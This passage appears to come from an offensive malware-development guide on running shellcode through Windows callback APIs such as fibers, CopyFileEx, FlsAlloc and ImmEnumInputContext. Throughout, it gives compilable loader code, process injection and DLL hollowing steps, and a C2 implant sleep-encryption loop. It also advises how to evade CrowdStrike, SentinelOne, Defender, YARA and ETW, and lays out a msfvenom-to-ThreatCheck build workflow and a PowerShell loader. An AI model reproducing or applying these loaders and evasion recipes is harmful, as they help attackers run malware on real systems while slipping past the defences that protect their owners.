LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)exec_mem, NULL);
if (!shellFiber) { printf("[-] CreateFiber failed\n"); return 1; }
// Step 3: Switch to the shellcode fiber — shellcode runs!
SwitchToFiber(shellFiber);
// Step 4: If shellcode returns control (unlikely for reverse shells)
DeleteFiber(shellFiber);
ConvertFiberToThread();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
[OPSEC] No new thread is created. No CreateThread events. The shellcode runs in the exact same OS thread. From an OS perspective, only one thread exists.
[DETECT] ConvertThreadToFiber followed by CreateFiber with a non-PE-backed address is a behavioral indicator that modern EDRs detect.
8.2 RtlUserFiberStart
[CALLBACK] DLL: ntdll.dll
What it does: An internal NT function that is the real start of every fiber. Can be used to start execution via the fiber mechanism at the NT level, bypassing the Win32 fiber API.
// Prototype (undocumented):
typedef VOID (NTAPI *pRtlUserFiberStart)();
// RtlUserFiberStart is the internal fiber startup routine in ntdll
// Technique: manipulate a fiber's context (RIP register) to point to shellcode
// Step 1: Create fiber normally (start = dummy function)
LPVOID dummyFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)SomeFunction, NULL);
// Step 2: Get fiber's CONTEXT structure and modify RIP to point to shellcode
PCONTEXT ctx = (PCONTEXT)((PUCHAR)dummyFiber + CONTEXT_OFFSET); // offset varies
ctx->Rip = (DWORD64)exec_mem; // Redirect execution to shellcode
// Step 3: Switch to fiber — RtlUserFiberStart will jump to our shellcode
ConvertThreadToFiber(NULL);
SwitchToFiber(dummyFiber);
[OPSEC] Direct context manipulation at the NT layer — bypasses Win32 fiber creation API. Very low-level and rarely signatures.
[TOOL] The FiberContextEdit folder in AlternativeShellcodeExec shows exactly how the CONTEXT struct is modified.
9. File & IO Callbacks
What it means: File operation APIs accept progress callbacks — they're meant for copy progress bars and cancellation checks. Your shellcode can substitute as the "progress handler."
9.1 CopyFileEx / CopyFile2
[CALLBACK] DLL: kernel32.dll
What it does: Copies a file with a progress callback. The callback fires periodically during the copy operation. Use the same source and destination to make it a no-op copy (or copy a small file).
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
int main() {
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
// CopyFileEx: copy a file (use same src/dst or a tiny file)
// Callback fires at start and during copy
BOOL cancel = FALSE;
CopyFileExW(
L"C:\\Windows\\System32\\notepad.exe", // source
L"C:\\Temp\\notepad_copy.exe", // destination
(LPPROGRESS_ROUTINE)exec_mem, // progress callback = shellcode
NULL, // data parameter
&cancel,
COPY_FILE_FAIL_IF_EXISTS
);
// Note: The callback fires even if the copy fails early
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
// CopyFile2 (Vista+):
#include <windows.h>
COPYFILE2_EXTENDED_PARAMETERS params = {0};
params.dwSize = sizeof(params);
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)exec_mem;
CopyFile2(L"C:\\Windows\\notepad.exe", L"C:\\Temp\\nc.exe", ¶ms);
[OPSEC] File copy with a progress callback looks completely benign. CopyFileEx is used by installers, backup tools, and Windows itself.
9.2 SetupCommitFileQueueW
[CALLBACK] DLL: setupapi.dll
What it does: Commits a file queue used by device/software installation. The callback is a "file copy notification handler" that fires during installation operations.
#include <windows.h>
#include <setupapi.h>
// Prototype:
BOOL SetupCommitFileQueueW(
HWND Owner,
HSPFILEQ QueueHandle,
PSP_FILE_CALLBACK_W MsgHandler, // ← callback
PVOID Context
);
// Callback signature:
// UINT CALLBACK proc(PVOID Context, UINT Notification, UINT_PTR Param1, UINT_PTR Param2)
// Example — create empty queue, commit (callback fires immediately):
HSPFILEQ hQueue = SetupOpenFileQueue();
SetupCommitFileQueueW(NULL, hQueue, (PSP_FILE_CALLBACK_W)exec_mem, NULL);
SetupCloseFileQueue(hQueue);
x86_64-w64-mingw32-gcc setup_exec.c -o setup_exec.exe -lsetupapi
[OPSEC] SetupAPI is associated with device driver installation — appears in INF-based installers. Unusual in typical malware.
9.3 ImageGetDigestStream
[CALLBACK] DLL: imagehlp.dll
What it does: Computes a digest of a PE image's content, calling back with each data chunk. Used for PE signing/verification.
#include <windows.h>
#include <imagehlp.h>
// Prototype:
BOOL ImageGetDigestStream(
HANDLE FileHandle,
DWORD DigestLevel,
DIGEST_FUNCTION DigestFunction, // ← callback
DIGEST_HANDLE DigestHandle
);
// Callback: BOOL CALLBACK proc(DIGEST_HANDLE refdata, PBYTE pData, DWORD dwLength)
// Example:
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\notepad.exe",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
ImageGetDigestStream(hFile, 0, (DIGEST_FUNCTION)exec_mem, NULL);
CloseHandle(hFile);
x86_64-w64-mingw32-gcc imageDigest_exec.c -o imageDigest_exec.exe -limagehlp
[OPSEC] PE digest callbacks are associated with code signing tools and Authenticode verification. Very niche — extremely low detection.
10. Loader & NT Internals Callbacks
What it means: NT internal mechanisms for module loading, one-time initialization, and fiber-local storage all accept callbacks. These are deep in the Windows internals and less commonly hooked by EDR.
10.1 LdrpCallInitRoutine
[CALLBACK] DLL: ntdll.dll (undocumented internal)
What it does: The internal function that calls DllMain when a DLL is loaded. Can be used to execute shellcode in the context of DLL initialization.
// LdrpCallInitRoutine is NOT exported — must find it by signature scan or offset
// It calls DLL entry points: BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID)
// Technique: inject a shellcode-carrying fake DLL entry point via LoadLibrary + patching
// OR: resolve LdrpCallInitRoutine and call it with exec_mem as the routine
// Advanced approach — find LdrpCallInitRoutine via pattern scan:
PVOID FindLdrpCallInitRoutine() {
PVOID ntdll_base = GetModuleHandle(L"ntdll.dll");
// Walk exports / scan for known byte pattern
// Pattern varies by Windows version
// ...
return NULL; // depends on implementation
}
// This is highly version-specific and typically used in:
// - Reflective DLL injection
// - DLL hollowing with custom entry points
[OPSEC] Purely NT-internal — no documented Win32 API is called. Rarely appears in malware signatures.
10.2 FlsAlloc (Fiber Local Storage)
[CALLBACK] DLL: kernel32.dll
What it does: Allocates a Fiber Local Storage (FLS) slot with a callback that fires when the fiber is deleted. The destruction callback runs automatically when DeleteFiber or FlsFree is called.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
// FLS callback — called when FLS slot is freed
// VOID NTAPI FlsCallback(PVOID lpFlsData) — called with the data stored in the slot
int main() {
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
// Register shellcode as the FLS callback
DWORD flsIndex = FlsAlloc((PFLS_CALLBACK_FUNCTION)exec_mem);
// Set a non-NULL value in the slot (callback only fires for non-NULL values)
FlsSetValue(flsIndex, (PVOID)0xDEADBEEF);
// When FlsFree is called, the callback fires automatically
FlsFree(flsIndex);
// Callback fires → shellcode executes
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
[OPSEC] FLS destruction callbacks are a clean, single-API trigger. The execution appears to come from FLS cleanup infrastructure.
10.3 InitOnceExecuteOnce
[CALLBACK] DLL: kernel32.dll
What it does: Executes a callback exactly once for one-time initialization. The callback is guaranteed to run exactly once even in multi-threaded scenarios.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
// INIT_ONCE callback signature:
// BOOL CALLBACK InitOnceCallback(PINIT_ONCE InitOnce, PVOID Parameter, PVOID *Context) → BOOL
int main() {
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
INIT_ONCE initOnce = INIT_ONCE_STATIC_INIT;
PVOID context = NULL;
InitOnceExecuteOnce(&initOnce, (PINIT_ONCE_FN)exec_mem, NULL, &context);
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
[OPSEC] Initialization-once callbacks are used in DLL_PROCESS_ATTACH and lazy-init patterns throughout Windows. Low suspicion for defensive tools.
11. Debug & Symbol Callbacks
What it means: Debugging and symbol resolution APIs in dbghelp.dll, psapi.dll, and related libraries all accept callbacks for enumerating symbols, processes, and files. These appear in tools like debuggers and profilers.
11.1 OpenThreadWaitChainSession
[CALLBACK] DLL: advapi32.dll
What it does: Opens a Wait Chain Traversal (WCT) session for detecting deadlocks. The callback fires when deadlock analysis results are available.
#include <windows.h>
// Prototype:
HWCT OpenThreadWaitChainSession(DWORD Flags, PWAITCHAINCALLBACK callback);
// Callback: void CALLBACK proc(HWCT WctHandle, DWORD_PTR Context, DWORD CallbackStatus, LPDWORD NodeCount, PWAITCHAIN_NODE_INFO NodeInfoArray, LPBOOL IsCycle)
// Async mode — callback fires when chain traversal completes:
HWCT hWct = OpenThreadWaitChainSession(WCT_ASYNC_OPEN_FLAG, (PWAITCHAINCALLBACK)exec_mem);
// Trigger the callback by requesting a thread's wait chain
WAITCHAIN_NODE_INFO nodes[WCT_MAX_NODE_COUNT];
DWORD nodeCount = WCT_MAX_NODE_COUNT;
BOOL isCycle = FALSE;
GetThreadWaitChain(hWct, 0, WCTP_GETINFO_ALL_FLAGS, GetCurrentThreadId(), &nodeCount, nodes, &isCycle);
Sleep(500); // Wait for async callback
CloseThreadWaitChainSession(hWct);
x86_64-w64-mingw32-gcc wct_exec.c -o wct_exec.exe -ladvapi32
11.2 SymEnumProcesses / SymFindFileInPath
[CALLBACK] DLL: dbghelp.dll
What it does: SymEnumProcesses enumerates processes with debug symbol information. SymFindFileInPath searches for a file along a symbol search path.
#include <windows.h>
#include <dbghelp.h>
// SymEnumProcesses:
// Callback: BOOL CALLBACK proc(HANDLE hProcess, PVOID UserContext) → BOOL
SymInitialize(GetCurrentProcess(), NULL, FALSE);
SymEnumProcesses((PSYM_ENUMPROCESSES_CALLBACK)exec_mem, NULL);
// SymFindFileInPath:
// Callback: BOOL CALLBACK proc(LPCSTR FilePath, PVOID CallerData) → BOOL
char outPath[MAX_PATH] = {0};
SymFindFileInPath(
GetCurrentProcess(),
NULL, // Search path (NULL = use symbol path)
"ntdll.pdb", // Target filename
NULL, 0, 0, 0, // GUID, age, sig (NULL = match any)
outPath,
(PFINDFILEINPATHCALLBACK)exec_mem,
NULL
);
x86_64-w64-mingw32-gcc sym_exec.c -o sym_exec.exe -ldbghelp
11.3 SysEnumSourceFiles / VerifierEnumerateResource
[CALLBACK] DLL: dbghelp.dll / verifier.dll
// SysEnumSourceFiles (DbgHelp):
// Enumerates source files used to build a module
// Callback: BOOL CALLBACK proc(PSOURCEFILE pSourceFile, PVOID UserContext)
SymInitialize(GetCurrentProcess(), NULL, TRUE);
SymEnumSourceFiles(GetCurrentProcess(), 0, NULL, (PSYM_ENUMSOURCEFILES_CALLBACK)exec_mem, NULL);
// VerifierEnumerateResource (verifier.dll):
// Enumerates Application Verifier resources
// Requires loading verifier.dll which may trigger AV
typedef ULONG (WINAPI *pVerifierEnumerateResource)(HANDLE, ULONG, ULONG, AVRF_RESOURCE_ENUMERATE_CALLBACK, PVOID);
HMODULE hVerifier = LoadLibrary(L"verifier.dll");
pVerifierEnumerateResource pEnum = (pVerifierEnumerateResource)GetProcAddress(hVerifier, "VerifierEnumerateResource");
pEnum(GetCurrentProcess(), 0, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)exec_mem, NULL);
12. IME / Input Callbacks
What it means: Input Method Editor (IME) APIs handle East Asian text input. They include enumeration functions with callbacks that appear in multilingual applications.
12.1 ImmEnumInputContext
[CALLBACK] DLL: imm32.dll
What it does: Enumerates IME input contexts for all windows in the calling thread. Fires callback for each context found.
#include <windows.h>
#include <imm.h>
// Prototype:
BOOL ImmEnumInputContext(DWORD idThread, IMCENUMPROC lpfn, LPARAM lParam);
// Callback: BOOL CALLBACK proc(HIMC hIMC, LPARAM lParam) → BOOL
// Example:
ImmEnumInputContext(0, (IMCENUMPROC)exec_mem, 0);
// idThread=0 enumerates contexts for the current thread
x86_64-w64-mingw32-gcc imm_exec.c -o imm_exec.exe -limm32
[OPSEC] IMM32 APIs are associated with Japanese/Chinese/Korean input. Very uncommon in Western-targeting malware — low detection rate.
13. Technique Chaining & Advanced Patterns
What it means: Real implants don't use a single callback technique in isolation. They chain multiple evasions together — callback execution combined with process injection, indirect syscalls, and staged delivery.
13.1 Callback + Indirect Syscall (Maximum OPSEC)
// Pattern: Allocate via direct syscall → Execute via callback
// Bypasses both memory allocation hooks AND execution hooks
// Step 1: Resolve shellcode (encrypted/staged)
// Step 2: Allocate memory via direct NtAllocateVirtualMemory syscall (bypass hook)
// Step 3: Decrypt shellcode in-memory
// Step 4: Flip to RX via direct NtProtectVirtualMemory syscall (bypass hook)
// Step 5: Execute via CertEnumSystemStore or EnumSystemLocalesW (no thread creation)
// Tools: SysWhispers3, Hell's Gate, Halo's Gate for syscall resolution
// Example SysWhispers3 integration:
// SW3_NtAllocateVirtualMemory(GetCurrentProcess(), &mem, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// memcpy(mem, decrypted_shellcode, sz);
// SW3_NtProtectVirtualMemory(GetCurrentProcess(), &mem, &sz, PAGE_EXECUTE_READ, &old);
// CertEnumSystemStore(CERT_SYSTEM_STORE_LOCAL_MACHINE, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)mem);
13.2 Process Injection + Callback
// Inject shellcode into remote process, then trigger via callback in that process
// Avoids creating new threads in remote process (QueueUserAPC is also an option)
// Step 1: Open target process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// Step 2: Allocate RW memory in target
LPVOID remote_mem = VirtualAllocEx(hProc, NULL, sc_len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// Step 3: Write shellcode
WriteProcessMemory(hProc, remote_mem, shellcode, sc_len, NULL);
// Step 4: Flip to RX
DWORD old;
VirtualProtectEx(hProc, remote_mem, sc_len, PAGE_EXECUTE_READ, &old);
// Step 5: Need to execute in context of target process
// Option A: CreateRemoteThread (detectable, but combined with callback inside = staged)
// Option B: APC injection to existing thread
// Option C: Hijack a thread's context (SetThreadContext)
13.3 Sleep Obfuscation + Callback (C2 Implant Pattern)
// Pattern used in modern C2 implants (Cobalt Strike, Havoc, custom):
// Shellcode re-encrypts itself during sleep → decrypts → callback triggers execution
// Sleep encryption loop:
while (1) {
// Phase 1: Communicate with C2
receive_task_from_c2();
// Phase 2: Execute task
// Use callback technique to execute shellcode for each task
EnumSystemLocalesW((LOCALE_ENUMPROCW)task_shellcode, LCID_INSTALLED);
// Phase 3: Sleep with memory encryption
encrypt_implant_memory(); // AES-encrypt current implant code
VirtualProtect(implant_base, sz, PAGE_READWRITE, &old); // Mark non-executable
Sleep(jitter_sleep(30000)); // Sleep with jitter
VirtualProtect(implant_base, sz, PAGE_EXECUTE_READ, &old);
decrypt_implant_memory(); // Restore
// Continue loop
}
13.4 DLL Hollowing + Callback
// Load a legitimate DLL into memory, overwrite its .text section with shellcode
// Then use a callback to trigger execution at the DLL's base + offset
// Step 1: Load decoy DLL (suspended)
HMODULE hDecoy = LoadLibraryExW(L"amsi.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
// Step 2: Find writable section (.text is RX by default — need to make it RW)
DWORD old;
VirtualProtect(hDecoy, sc_len, PAGE_EXECUTE_READWRITE, &old);
// Step 3: Overwrite with shellcode
memcpy(hDecoy, shellcode, sc_len);
// Step 4: Restore permissions
VirtualProtect(hDecoy, sc_len, old, &old);
// Step 5: Execute via callback (pointer into "DLL" address space looks legitimate)
EnumWindows((WNDENUMPROC)hDecoy, 0);
// EDR sees callback into amsi.dll address range — looks like a legitimate DLL function
[OPSEC] Module-backed memory (appearing to be inside a loaded DLL) bypasses "non-PE-backed memory" heuristics that many EDR products use.
14. OPSEC Considerations
What it means: Choosing the right callback technique for the environment is as important as the technique itself. OPSEC failure = detection.
OPSEC Decision Matrix:
Are you in a heavily monitored environment (CrowdStrike/SentinelOne)?
│
├─ YES → Avoid: EnumWindows, CreateThread, RWX memory
│ Use: EnumSystemLocales + direct syscall alloc
│ CertEnumSystemStore + RW→RX flip
│ CreateThreadpoolWait + module-backed shellcode
│ Indirect syscall + sleep encryption
│
└─ NO (Defender only) → Any callback technique works
EnumWindows + RW→RX is sufficient
Key OPSEC rules for callback execution:
1. NEVER use PAGE_EXECUTE_READWRITE
→ Use PAGE_READWRITE for allocation, PAGE_EXECUTE_READ after copy
→ Or use HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) if you must
2. Prefer module-backed shellcode locations
→ DLL hollowing, stomped modules, RX sections of loaded DLLs
→ Looks like legitimate code, not heap shellcode
3. Combine with indirect/direct syscalls
→ Bypass VirtualAlloc/VirtualProtect userland hooks
→ SysWhispers3, Hell's Gate, Tartarus' Gate
4. Use less-common callback APIs for high-value targets
→ CryptEnumOIDInfo, ImageGetDigestStream, ImmEnumInputContext
→ EnumPwrSchemes, SetupCommitFileQueueW
→ Novel = not in existing detection rules
5. Clean up after execution
→ VirtualFree if possible (but shellcode that runs reverse shells rarely returns)
→ Zero memory before free (destroy artifacts)
6. Combine with sleep jitter and beacon interval randomization
→ Callbacks fire at predictable intervals = timing-based detection
[OPSEC] If your shellcode doesn't return, none of the cleanup code matters. Design implants so shellcode exits via ExitThread or loops internally — not by returning to the callback dispatcher.
15. Detection Vectors
What it means: Understanding how defenders detect callback execution helps you choose techniques that avoid existing detection rules.
15.1 Memory Heuristics
Detection: Private memory with Execute permission that is not backed by a PE file
Triggers: Any callback execution where shellcode is in VirtualAlloc'd memory
Bypass:
→ Module stomping / DLL hollowing (shellcode in PE-backed memory)
→ Reflective loading (shellcode masquerades as a loaded module)
15.2 API Call Sequence Analysis
Detection: Behavioral rule: VirtualAlloc(RWX) → EnumWindows → new outbound connection
OR: VirtualAlloc + VirtualProtect → [callback API] → socket activity
Tools: CrowdStrike Falcon, SentinelOne STAR rules, Windows Defender ATP
Microsoft Defender for Endpoint (Process behavioral analysis)
Bypass:
→ Use direct/indirect syscalls for memory ops (bypass API hook)
→ Delay execution (timer callback with 30s delay before C2 connect)
→ Blend callback into legitimate activity (app that legitimately calls EnumFonts)
15.3 ETW (Event Tracing for Windows)
Detection: ETW providers log memory allocations, module loads, thread activity
Microsoft-Windows-Threat-Intelligence ETW provider (kernel-level)
Catches: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory
Bypass:
→ ETW patching (risky — tampering with ETW is itself detected)
→ Use existing executable sections (no new alloc events)
→ Encrypted + staged delivery (shellcode decrypted only at last moment)
15.4 Callback API Telemetry
Heavily monitored callbacks:
EnumWindows ← Most commonly signature'd
CreateThread ← Extremely monitored
CreateRemoteThread ← Extremely monitored
QueueUserAPC ← Heavily monitored
Less monitored callbacks:
EnumSystemLocalesW ← Medium monitoring
CertEnumSystemStore ← Low monitoring
CryptEnumOIDInfo ← Very low monitoring
ImmEnumInputContext ← Very low monitoring
ImageGetDigestStream ← Extremely low monitoring
EnumPwrSchemes ← Extremely low monitoring
FlsAlloc destruction ← Very low monitoring
15.5 YARA Rules (Know What Defenders Use)
// Example YARA detecting common callback pattern:
rule Callback_Shellcode_Exec {
meta:
description = "Callback-based shellcode execution loader"
strings:
$va = "VirtualAlloc" ascii wide
$enum1 = "EnumWindows" ascii wide
$enum2 = "EnumChildWindows" ascii wide
$enum3 = "EnumSystemLocales" ascii wide
$rtlmove = "RtlMoveMemory" ascii wide
condition:
$va and $rtlmove and any of ($enum*)
}
// Bypass: import APIs dynamically (GetProcAddress + hash)
// → No import table strings for YARA to match
16. Tooling Reference
[TOOL] AlternativeShellcodeExec — https://github.com/aahmad097/AlternativeShellcodeExec
The reference repo for callback execution. Contains 50+ techniques in separate Visual Studio projects, all in C++. Build with Visual Studio 2019/2022.
# Clone and build all techniques:
git clone https://github.com/aahmad097/AlternativeShellcodeExec
cd AlternativeShellcodeExec
# Open AlternativeShellcodeExec.sln in Visual Studio
# Build → Build Solution (Ctrl+Shift+B)
# Each folder = one technique = one .exe output
Technique folders in the repo:
CertEnumSystemStore CopyFileEx CreateThreadPoolWait
CreateTimerQueueTimer_Tech CryptEnumOIDInfo EnumCalendarInfo
EnumCalendarInfoEx EnumChildWindows EnumDesktopW
EnumDesktopWindows EnumDirTreeW EnumDisplayMonitors
EnumFontFamiliesExW EnumFontFamiliesW EnumFontsW
EnumICMProfiles EnumLanguageGroupLocalesW EnumObjects
EnumPageFilesW EnumPropsEx EnumPropsW
EnumPwrSchemes EnumResourceTypesExW EnumResourceTypesW
EnumSystemLocales EnumThreadWindows EnumTimeFormatsEx
EnumUILanguagesW EnumWindowStationsW EnumWindows
EnumerateLoadedModules FiberContextEdit FlsAlloc
ImageGetDigestStream ImmEnumInputContext InitOnceExecuteOnce
LdrEnumerateLoadedModules LdrpCallInitRoutine OpenThreadWaitChainSession
RtlUserFiberStart SetTimer SetupCommitFileQueueW
SymEnumProcesses SymFindFileInPath SysEnumSourceFiles
VerifierEnumerateResource CopyFile2 CertEnumSystemStoreLocation
[TOOL] SysWhispers3 — https://github.com/klezVirus/SysWhispers3
Generate direct syscall stubs. Combine with callbacks for maximum OPSEC.
python3 syswhispers.py -a x64 -c msvc --function NtAllocateVirtualMemory,NtProtectVirtualMemory -o syscalls
# Produces: syscalls.h + syscalls.c
# Include in your project alongside callback code
[TOOL] ThreatCheck — https://github.com/rasta-mouse/ThreatCheck
Identify exactly which bytes of your compiled loader trigger AV.
.\ThreatCheck.exe -f .\callback_loader.exe -e Defender
# Binary searches the file to find the smallest triggering region
[TOOL] Pe-Sieve — https://github.com/hasherezade/pe-sieve
Scan a process for anomalous memory regions (implant detection perspective).
pe-sieve.exe /pid <target_pid>
# Shows: shellcode in private memory, hooks, modified PE sections
[TOOL] Moneta — https://github.com/forrest-orr/moneta
Live process memory scanner. Finds private RX memory — what your callbacks will look like from a defender's perspective.
.\Moneta64.exe -m ioc -p <pid>
# Flags: Private executable memory, non-PE-backed regions
[TOOL] Process Hacker / System Informer — https://systeminformer.sourceforge.io/
Monitor process memory maps and thread call stacks in real time during testing.
[TOOL] Frida — https://frida.re/
Hook Win32 APIs at runtime to trace exactly which callback API your loader calls.
// Frida script to hook EnumWindows:
Interceptor.attach(Module.getExportByName("user32.dll", "EnumWindows"), {
onEnter(args) {
console.log("[EnumWindows] callback ptr:", args[0]);
// Check if it's in a PE-backed region
}
});
17. Comparison Matrix
| Technique | DLL | Thread Created | OPSEC Rating | EDR Attention | Reliability | Requires Setup |
|---|---|---|---|---|---|---|
| EnumWindows | user32 | No | Low | HIGH | High | No |
| EnumChildWindows | user32 | No | Medium | Medium | High | No |
| EnumDesktopWindows | user32 | No | Medium | Medium | High | No |
| EnumThreadWindows | user32 | No | Medium-High | Low | Medium | No |
| EnumFontFamiliesExW | gdi32 | No | High | Low | Very High | HDC only |
| EnumDisplayMonitors | user32 | No | High | Low | Very High | No |
| EnumSystemLocalesW | kernel32 | No | High | Low | High | No |
| EnumUILanguagesW | kernel32 | No | High | Very Low | High | No |
| CertEnumSystemStore | crypt32 | No | Very High | Very Low | Very High | No |
| CryptEnumOIDInfo | crypt32 | No | Very High | Very Low | Very High | No |
| SetTimer | user32 | No | High | Low | Medium | Msg loop |
| CreateTimerQueueTimer | kernel32 | Thread Pool | High | Medium | High | No |
| CreateThreadpoolWait | kernel32 | Thread Pool | High | Medium | High | Event handle |
| ConvertThreadToFiber | kernel32 | No | High | Medium | High | Fiber setup |
| FlsAlloc | kernel32 | No | Very High | Very Low | High | FLS slot |
| InitOnceExecuteOnce | kernel32 | No | High | Low | High | No |
| CopyFileEx | kernel32 | No | High | Low | High | File needed |
| ImageGetDigestStream | imagehlp | No | Excellent | Very Low | Medium | File handle |
| ImmEnumInputContext | imm32 | No | Excellent | Very Low | Medium | IME context |
| EnumPwrSchemes | powrprof | No | Excellent | Very Low | High | No |
| LdrEnumerateLoadedModules | ntdll | No | Very High | Very Low | High | No |
| OpenThreadWaitChainSession | advapi32 | No | High | Low | Medium | Async trigger |
18. Cheat Sheet
Quick Workflow — Callback Shellcode Execution
# Step 1: Generate shellcode
msfvenom -p windows/x64/exec CMD=calc.exe -f c -o shellcode.c
# OR: Use Havoc / Sliver C2 to generate implant shellcode
# Step 2: Encode/encrypt shellcode (see Shellcode Encryption notes)
python3 xor_encode.py payload.bin # XOR layer
python3 aes_encrypt.py payload.bin # AES layer
# Step 3: Pick callback technique based on target environment
# Defender only → EnumSystemLocalesW
# CrowdStrike → CryptEnumOIDInfo + direct syscall alloc
# SentinelOne → ImageGetDigestStream + module-backed shellcode
# Step 4: Build loader
x86_64-w64-mingw32-gcc loader.c -o loader.exe -luser32 -lkernel32 [extra libs]
# Step 5: Check with ThreatCheck
.\ThreatCheck.exe -f .\loader.exe -e Defender
# If detected → change callback API or encrypt more aggressively
# Step 6: Test in VM before deployment
# Run with Process Hacker to verify memory regions look clean
Callback API Quick Reference
Goal API DLL
──────────────────────────────────────────────────────────────────
Max compatibility, fast EnumWindows user32
High OPSEC, low EDR EnumSystemLocalesW kernel32
Very high OPSEC, cert-adjacent CertEnumSystemStore crypt32
Max stealth, crypto context CryptEnumOIDInfo crypt32
No thread creation, reliable EnumFontFamiliesExW gdi32
Async / timer-based CreateTimerQueueTimer kernel32
Thread pool, event-triggered CreateThreadpoolWait kernel32
No Win32 API at all (NT internal) LdrEnumerateLoadedModules ntdll
Fiber-based, same thread CreateFiber + SwitchToFiber kernel32
Most unusual / lowest detection ImageGetDigestStream imagehlp
ImmEnumInputContext imm32
EnumPwrSchemes powrprof
Memory Allocation Quick Reference
Protection OPSEC How to use
──────────────────────────────────────────────────────────
RWX Bad Never in production — EDR triggers immediately
RW → RX Good Standard — alloc RW, write, VirtualProtect to RX
Heap (exec) Medium HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)
Module-backed Best DLL hollowing / module stomping
Direct syscall Best NtAllocateVirtualMemory → NtProtectVirtualMemory
DLL Dependency Quick Reference
Technique Additional DLL needed
────────────────────────────────────────────────
EnumWindows / EnumChildWindows / etc. user32.dll
EnumFontFamilies* gdi32.dll
CertEnum* / CryptEnum* crypt32.dll
EnumPageFilesW psapi.dll
EnumDirTreeW / Sym* / Enum* (dbghelp) dbghelp.dll
EnumPwrSchemes powrprof.dll
ImmEnumInputContext imm32.dll
SetupCommitFileQueueW setupapi.dll
ImageGetDigestStream imagehlp.dll
OpenThreadWaitChainSession advapi32.dll
FlsAlloc / InitOnceExecuteOnce kernel32.dll (default)
LdrEnumerateLoadedModules ntdll.dll (default)
PowerShell — Quick Callback PoC (P/Invoke)
# Quick PoC using P/Invoke — enumerate fonts as shellcode trigger
$code = @"
using System;
using System.Runtime.InteropServices;
public class CallbackExec {
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr a, int s, int t, int p);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr a, int s, int p, out int op);
[DllImport("user32.dll")]
public static extern bool EnumWindows(IntPtr lp, IntPtr param);
public static void Run(byte[] sc) {
IntPtr mem = VirtualAlloc(IntPtr.Zero, sc.Length, 0x3000, 0x04);
Marshal.Copy(sc, 0, mem, sc.Length);
int old;
VirtualProtect(mem, sc.Length, 0x20, out old); // RX
EnumWindows(mem, IntPtr.Zero);
}
}
"@
Add-Type -TypeDefinition $code
$shellcode = [byte[]]@(0xfc, 0x48, ...) # your shellcode bytes
[CallbackExec]::Run($shellcode)
Decision Tree — Which Callback to Use?
What environment are you targeting?
│
├─ CTF / Lab (no AV/EDR) →
│ EnumWindows + RWX ← fastest, easiest
│
├─ Windows Defender only →
│ EnumSystemLocalesW + RW→RX flip
│ CertEnumSystemStore
│
├─ Defender ATP / MDE →
│ CryptEnumOIDInfo + direct syscall alloc
│ Module-backed shellcode + EnumFontFamiliesExW
│
├─ CrowdStrike Falcon →
│ LdrEnumerateLoadedModules (NT internal)
│ ImageGetDigestStream + module-stomped shellcode
│ Direct syscall alloc + sleep encryption
│
├─ SentinelOne →
│ ImmEnumInputContext (IME callback — low sig coverage)
│ EnumPwrSchemes (powrprof — very uncommon)
│ FlsAlloc destruction callback
│
├─ Multiple EDRs / Maximum OPSEC →
│ Direct syscall alloc + NtProtectVirtualMemory
│ + Module-stomped shellcode location
│ + CryptEnumOIDInfo or ImageGetDigestStream
│ + Sleep encryption between callbacks
│ + ETW patching (advanced)
│
└─ Custom C2 Development (your own framework) →
Implement several callback techniques
Rotate them per-implant or per-campaign
Use CreateTimerQueueTimer for beacon loops
Use sleep encryption between callbacks
References & Resources
Primary Reference Repo: - AlternativeShellcodeExec — https://github.com/aahmad097/AlternativeShellcodeExec (50+ C++ implementations)
MSDN / Official Documentation: - Win32 Callback APIs — https://learn.microsoft.com/en-us/windows/win32/api/ - EnumWindows — https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows - CertEnumSystemStore — https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-certenumsystemstore - CreateThreadpoolWait — https://learn.microsoft.com/en-us/windows/win32/api/threadpoolapiset/nf-threadpoolapiset-createthreadpoolwait
Research & Further Reading: - ired.team — https://www.ired.team (Shellcode Execution Techniques) - Sektor7 Malware Development Intermediate/Advanced courses - VX-Underground — https://vx-underground.org (callback technique papers) - Process Injection techniques — https://github.com/3xpl01tc0d3r/ProcessInjection - Maldev Academy — https://maldevacademy.com - alfarom256 — original CreateThreadPoolWait technique popularization - ch3rn0byl — original project encouragement (per repo README)
